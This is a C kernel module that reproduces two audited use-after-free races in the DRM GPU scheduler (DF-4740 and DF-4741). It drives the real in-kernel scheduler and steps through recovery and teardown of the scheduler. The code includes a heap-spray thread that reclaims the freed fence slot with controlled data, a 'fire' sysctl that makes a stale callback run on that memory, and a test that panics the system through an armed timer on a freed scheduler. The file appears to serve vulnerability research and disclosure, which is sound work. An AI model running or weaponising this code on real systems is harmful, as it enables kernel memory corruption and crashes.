/*
 * df4740.c — deterministic reproducer for the DRM GPU scheduler races audited
 * as DF-4740 (drm_sched_job_recovery vs drm_sched_job_finish UAF) and
 * DF-4741 (drm_sched_fini leaves armed work_tdr / pending finish_work).
 *
 * It drives the *real* in-kernel scheduler code (drm_sched_*, dma_fence_*,
 * the system workqueue) compiled into amdgpu.ko / drm.ko, using synthetic
 * backend ops, and mirrors the exact amdgpu reset flow:
 *
 *   amdgpu_device_gpu_recover()		sys/dev/drm/amd/amdgpu/amdgpu_device.c:3409
 *     kthread_park(ring->sched.thread)		:3416
 *     drm_sched_hw_job_reset(&ring->sched, ..)	:3417
 *     amdgpu_fence_driver_force_completion(ring)	:3421  (signals hw fences)
 *     ...
 *     drm_sched_job_recovery(&ring->sched)	:3439
 *
 * Test 1 (DF-4740): a victim job on ring B whose parent fence is signalled
 * right before the reset flow runs recovery(B) from a NON-B work context
 * (in real hardware: ring A's TDR worker; here: the sysctl thread).  The
 * job's finish_work races recovery(B)'s unlocked run_job() window
 * (sched_main.c:368-381), frees the job and its drm_sched_fence, and
 * recovery then writes s_fence->parent / arms &s_fence->cb on freed memory.
 *
 * Test 2 (DF-4741): scheduler with a 1s timeout, hung job (parent never
 * signalled) => work_tdr armed; drm_sched_fini() only stops the thread
 * (sched_main.c:652-656); the scheduler is kfree()d exactly like amdgpu
 * frees struct amdgpu_ring after amdgpu_fence_driver_fini(); the pending
 * delayed work then executes on freed memory.
 *
 * Usage on the guest (root):
 *   kldload drm
 *   kldload amdgpu
 *   kldload ./df4740.ko
 *   sysctl hw.df4740.test=1     # DF-4740 race (stage 1: proof, no fire)
 *   sysctl hw.df4740.fire=1     # DF-4740 stage 2: signal -> use-after-free
 *   sysctl hw.df4740.test=2     # DF-4741: fini+free with armed TDR (panics ~1s later)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/types.h>
#include <sys/errno.h>
#include <sys/module.h>

#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/dma-fence.h>
#include <drm/gpu_scheduler.h>

#define DF4740_NSPRAY	32
#define DF4740_FENCE_MAGIC 0x47464952	/* 'FIGR' unused, kept for clarity */

struct dfjob {
	struct drm_sched_job	base;
};

struct dffence {
	struct dma_fence	base;
	struct lock		lock;
};

static struct drm_gpu_scheduler *g_sched;	/* test1: static, test2: kmalloc'd */
static struct drm_gpu_scheduler g_sched1;
static struct drm_sched_entity	g_ent;
static struct drm_sched_rq	*g_rq_list[1];

static volatile int	g_hold;		/* run_job spin gate (test 1) */
static int		g_free_count;	/* free_job() calls for the victim */
static struct dffence	*g_fb;		/* victim job's original parent (signalled) */
static struct dffence	*g_fbp;		/* victim job's recovery parent (UAF target) */
static struct drm_sched_fence *g_freed_sfence;
static void		*g_spray[DF4740_NSPRAY];
static int		g_spray_n;
static int		g_stage1;	/* test 1: UAF armed+confirmed */
static int		g_fired;
static u64		g_ctxseed = 0x47474000;

/* ------------------------------------------------------------------ */
/* fake dma-fence                                                      */

static const char *ff_drv(struct dma_fence *f) { return ("df4740"); }
static const char *ff_tl(struct dma_fence *f) { return ("df4740f"); }

static void
ff_release(struct dma_fence *f)
{
	struct dffence *d = container_of(f, struct dffence, base);

	kfree(d);
}

static const struct dma_fence_ops g_fence_ops = {
	.get_driver_name = ff_drv,
	.get_timeline_name = ff_tl,
	.release = ff_release,
};

/* ------------------------------------------------------------------ */
/* fake scheduler backend                                              */

static struct dma_fence *
op_dependency(struct drm_sched_job *j, struct drm_sched_entity *e)
{
	return (NULL);
}

static struct dma_fence *
op_run_job(struct drm_sched_job *job)
{
	struct dffence *f = kzalloc(sizeof(*f), GFP_KERNEL);

	lockinit(&f->lock, "df4740f", 0, LK_CANRECURSE);
	dma_fence_init(&f->base, &g_fence_ops, &f->lock, g_ctxseed++, 1);

	if (job->entity == &g_ent && g_hold) {
		/*
		 * recovery() pass (sched_main.c:369) called with
		 * job_list_lock RELEASED (sched_main.c:368).
		 */
		kprintf("[DF4740] run_job(victim): hold entered - "
		    "recovery inside unlocked window "
		    "(sched_main.c:368-369)\n");
		while (g_hold)
			tsleep(&g_hold, 0, "df4740w", 1);
		g_fbp = f;
		kprintf("[DF4740] run_job(victim): released; "
		    "recovery now writes s_fence=%p "
		    "(freed=%d) at sched_main.c:373-374\n",
		    (void *)job->s_fence,
		    g_free_count ? 1 : 0);
	} else if (g_fb == NULL && !g_hold) {
		/* first pass from drm_sched_main() */
		g_fb = f;
	}
	return (&f->base);
}

static void
op_free_job(struct drm_sched_job *job)
{
	if (job->entity == &g_ent && g_hold &&
	    g_freed_sfence == NULL) {
		g_freed_sfence = job->s_fence;
		kprintf("[DF4740] free_job(victim) job=%p s_fence=%p - "
		    "victim job FREED while recovery(B) sits inside "
		    "run_job()\n", (void *)job, (void *)job->s_fence);
	}
	atomic_add_int(&g_free_count, 1);
	kfree(job);
}

static void
op_timedout_job(struct drm_sched_job *job)
{
	kprintf("[DF4740] timedout_job(job=%p)\n", (void *)job);
}

static const struct drm_sched_backend_ops g_ops = {
	.dependency	= op_dependency,
	.run_job	= op_run_job,
	.timedout_job	= op_timedout_job,
	.free_job	= op_free_job,
};

/* ------------------------------------------------------------------ */
/* stagehand thread: after the victim is freed, wait out the drm RCU
 * delay-line (>=1s, linux_rcu.c:82), reclaim the fence slab slot with a
 * controlled spray, then open the run_job gate.                        */

static void
df4740_stagehand(void *arg)
{
	int i, j, round;

	for (;;) {
		tsleep(&df4740_stagehand, 0, "df4740s", 1);
		if (g_free_count == 0 || g_hold == 0)
			continue;

		kprintf("[DF4740] stagehand: victim freed; waiting 3s for "
		    "drm-RCU delay-line free of s_fence %p\n",
		    (void *)g_freed_sfence);
		tsleep(&g_hold, 0, "df4740d", 3 * hz);

		for (round = 0; round < 8; round++) {
			for (i = 0; i < DF4740_NSPRAY; i++) {
				g_spray[i] = kmalloc(
				    sizeof(struct drm_sched_fence),
				    M_DRM, M_WAITOK | M_ZERO);
				memset(g_spray[i], 0xde,
				    sizeof(struct drm_sched_fence));
			}
			for (i = 0; i < DF4740_NSPRAY; i++) {
				if (g_spray[i] == (void *)g_freed_sfence) {
					kprintf("[DF4740] stagehand: spray "
					    "slot %d RECLAIMED freed "
					    "s_fence %p (0xde fill)\n",
					    i, (void *)g_freed_sfence);
					break;
				}
			}
			if (i < DF4740_NSPRAY)
				break;
			/* churn: free everything and try again */
			for (j = 0; j < DF4740_NSPRAY; j++) {
				kfree(g_spray[j]);
				g_spray[j] = NULL;
			}
		}
		g_spray_n = DF4740_NSPRAY;

		cpu_sfence();
		kprintf("[DF4740] stagehand: opening gate - recovery "
		    "resumes into freed/reclaimed s_fence memory\n");
		g_hold = 0;
		wakeup(&g_hold);
	}
}

/* ------------------------------------------------------------------ */

static int
df4740_run_test1(void)
{
	struct dfjob *j;
	int attempt, i, k, found_cb = 0, found_write = -1;
	struct list_head *p;
	long *w;

	for (attempt = 1; attempt <= 10; attempt++) {
		kprintf("[DF4740] test1 attempt %d: setup\n", attempt);
		g_fb = NULL;
		g_fbp = NULL;
		g_freed_sfence = NULL;
		g_free_count = 0;
		g_hold = 0;

		j = kzalloc(sizeof(*j), GFP_KERNEL);
		if (drm_sched_job_init(&j->base, &g_ent, NULL)) {
			kfree(j);
			kprintf("[DF4740] job_init failed\n");
			return (EINVAL);
		}
		drm_sched_entity_push_job(&j->base, &g_ent);

		/* wait for drm_sched_main() first pass */
		for (i = 0; i < 100 && g_fb == NULL; i++)
			tsleep(&g_fb, 0, "df4740p", 1);
		if (g_fb == NULL) {
			kprintf("[DF4740] first pass never ran?\n");
			return (ETIMEDOUT);
		}
		/* let drm_sched_main() finish arming the parent cb */
		tsleep(&g_fb, 0, "df4740p", 2);

		/* --- reset context begins (amdgpu_device.c:3416-3439 analog) */
		g_hold = 1;

		/*
		 * Victim completes: parent fence signalled from THIS context.
		 * drm_sched_process_job runs inline -> finish fence signalled
		 * -> finish_cb schedules finish_work on system_wq.
		 */
		dma_fence_signal(&g_fb->base);

		/* amdgpu_device.c:3417 (job==NULL global variant) */
		drm_sched_hw_job_reset(g_sched, NULL);

		/*
		 * amdgpu_device.c:3439: recovery.  Races finish_work here:
		 * sched_main.c:368 drops job_list_lock, sched_main.c:369
		 * calls run_job() [we spin], finish_work removes+frees the
		 * job & schedules RCU-free of s_fence, then we return from
		 * run_job and sched_main.c:373-374 writes s_fence->parent
		 * and arms &s_fence->cb.
		 */
		drm_sched_job_recovery(g_sched);

		if (g_fbp == NULL) {
			kprintf("[DF4740] attempt %d: benign interleave "
			    "(finish_work won the lock); retrying\n", attempt);
			continue;
		}
		break;
	}
	if (g_fbp == NULL) {
		kprintf("[DF4740] FAILED to catch the race in 10 attempts\n");
		return (ETIMEDOUT);
	}

	/*
	 * Stage 1 verification (before firing): the recovery pass armed a
	 * fence callback node that lives INSIDE the freed s_fence.
	 */
	list_for_each(p, &g_fbp->base.cb_list) {
		struct dma_fence_cb *cb =
		    list_entry(p, struct dma_fence_cb, node);
		if ((void *)cb >= (void *)g_freed_sfence &&
		    (void *)cb < (void *)((char *)g_freed_sfence +
		    sizeof(struct drm_sched_fence))) {
			kprintf("[DF4740] *** UAF CONFIRMED (stage 1): "
			    "recovery armed cb %p (offset +0x%lx) inside "
			    "FREED s_fence %p (sched_main.c:374) ***\n",
			    (void *)cb, (unsigned long)((char *)cb -
			    (char *)g_freed_sfence), (void *)g_freed_sfence);
			found_cb++;
		}
	}
	/* did the s_fence->parent write (sched_main.c:373) land inside a
	 * live spray object (i.e. reclaimed kernel heap)? */
	for (i = 0; i < g_spray_n; i++) {
		if (g_spray[i] == NULL)
			continue;
		w = (long *)g_spray[i];
		for (k = 0; k < (int)(sizeof(struct drm_sched_fence) /
		    sizeof(long)); k++) {
			if ((void *)w[k] == (void *)&g_fbp->base) {
				kprintf("[DF4740] *** UAF WRITE CONFIRMED "
				    "(stage 1): sched_main.c:373 stored "
				    "parent ptr into LIVE reallocated heap "
				    "object spray[%d] +0x%x ***\n",
				    i, (int)(k * sizeof(long)));
				found_write = i;
			}
		}
	}
	if (found_cb == 0)
		kprintf("[DF4740] WARNING: no cb found inside freed "
		    "s_fence?! (check interleave)\n");

	g_stage1 = 1;
	kprintf("[DF4740] stage 1 complete: armed-cb-on-freed=%d "
	    "heap-write=%d; now run 'sysctl hw.df4740.fire=1' to signal "
	    "the recovery parent and use the freed object\n",
	    found_cb, found_write);
	return (0);
}

static int
df4740_run_test2(void)
{
	struct drm_gpu_scheduler *s;
	struct drm_sched_entity *ent;
	struct drm_sched_rq *rl[1];
	struct dfjob *j;
	int i;
	void *poison;
	int poison_n = 4;

	kprintf("[DF4741] test2: scheduler with 1s TDR, hung job, "
	    "drm_sched_fini(), then kfree(sched) as amdgpu does for "
	    "struct amdgpu_ring after amdgpu_fence_driver_fini()\n");

	s = kzalloc(sizeof(*s), GFP_KERNEL);
	ent = kzalloc(sizeof(*ent), GFP_KERNEL);

	g_fb = NULL;
	drm_sched_init(s, &g_ops, 1, 0, 2 * hz, "df4741");
	rl[0] = &s->sched_rq[DRM_SCHED_PRIORITY_NORMAL];
	drm_sched_entity_init(ent, rl, 1, NULL);

	j = kzalloc(sizeof(*j), GFP_KERNEL);
	drm_sched_job_init(&j->base, ent, NULL);
	drm_sched_entity_push_job(&j->base, ent);

	/* wait for first pass: job on ring_mirror_list, work_tdr armed */
	for (i = 0; i < 100 && g_fb == NULL; i++)
		tsleep(&g_fb, 0, "df4741p", 1);
	/* short delay: TDR (2s) must still be PENDING when fini runs */
	tsleep(&g_fb, 0, "df4741p", 2);

	kprintf("[DF4741] job %p in flight, work_tdr armed (timeout=%d "
	    "ticks); calling drm_sched_fini()\n", (void *)&j->base,
	    (int)(2 * hz));
	drm_sched_fini(s);			/* sched_main.c:652-656 */

	kprintf("[DF4741] drm_sched_fini() returned WITHOUT cancelling "
	    "work_tdr or draining ring_mirror_list; freeing scheduler "
	    "%p and reclaiming the block with zeroed memory (as any "
	    "kzalloc consumer would)\n", (void *)s);

	kfree(ent);
	kfree(s);
	for (i = 0; i < poison_n; i++) {
		poison = kmalloc(sizeof(*s), M_DRM, M_WAITOK | M_ZERO);
		memset(poison, 0x00, sizeof(*s));
		kprintf("[DF4741] reclaim block %d at %p (zeroed)\n",
		    i, poison);
	}
	kprintf("[DF4741] waiting for the armed work_tdr callout to fire "
	    "on freed memory (~1-2s)...\n");
	return (0);
}

/* ------------------------------------------------------------------ */

static int
sysctl_df4740_test(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v == 1)
		return (df4740_run_test1());
	if (v == 2)
		return (df4740_run_test2());
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, df4740_test, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_df4740_test, "I", "df4740/41 test selector");

static int
sysctl_df4740_fire(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (v != 1 || !g_stage1 || g_fbp == NULL)
		return (EPERM);
	g_fired = 1;
	kprintf("[DF4740] FIRE: signalling recovery parent %p - "
	    "drm_sched_process_job will run through cb inside freed "
	    "s_fence %p\n", (void *)&g_fbp->base, (void *)g_freed_sfence);
	/*
	 * The s_fence block is FREE kernel heap.  On a live system the
	 * allocator hands it to an unrelated consumer within micro-
	 * seconds; emulate that by re-filling the block with 0xde (what
	 * any new owner writing data looks like to the stale callback).
	 */
	memset((void *)g_freed_sfence, 0xde, sizeof(struct drm_sched_fence));
	cpu_sfence();
	dma_fence_signal(&g_fbp->base);
	kprintf("[DF4740] FIRE: signal returned (no trap?)\n");
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, df4740_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_df4740_fire, "I", "df4740 stage-2 fire");

/* ------------------------------------------------------------------ */

static int
df4740_init(struct module *mod, int what, void *arg)
{
	struct thread *td;
	int error;

	switch (what) {
	case MOD_LOAD:
		break;
	default:
		return (0);
	}

	g_sched = &g_sched1;
	drm_sched_init(g_sched, &g_ops, 1, 0, MAX_SCHEDULE_TIMEOUT,
	    "df4740");
	g_rq_list[0] = &g_sched->sched_rq[DRM_SCHED_PRIORITY_NORMAL];
	drm_sched_entity_init(&g_ent, g_rq_list, 1, NULL);

	error = lwkt_create(df4740_stagehand, NULL, &td, NULL,
	    TDF_NOSTART, -1, "df4740stage");
	if (error == 0) {
		lwkt_setpri_initial(td, TDPRI_KERN_DAEMON);
		lwkt_schedule(td);
	}
	kprintf("[DF4740] module loaded: sysctl hw.df4740.test=1 (recovery "
	    "UAF) or =2 (fini/TDR UAF)\n");
	return (0);
}

static int
df4740_uninit(struct module *mod, int what, void *arg)
{
	switch (what) {
	case MOD_UNLOAD:
		break;
	default:
		return (0);
	}
	kprintf("[DF4740] module unloading (scheduler left running by "
	    "design after a stage-1-only run)\n");
	if (g_fired == 0 && g_stage1 == 0 && g_sched->thread)
		drm_sched_fini(g_sched);
	return (0);
}

static moduledata_t df4740_mod = { "df4740", df4740_init, df4740_uninit };
DECLARE_MODULE(df4740, df4740_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);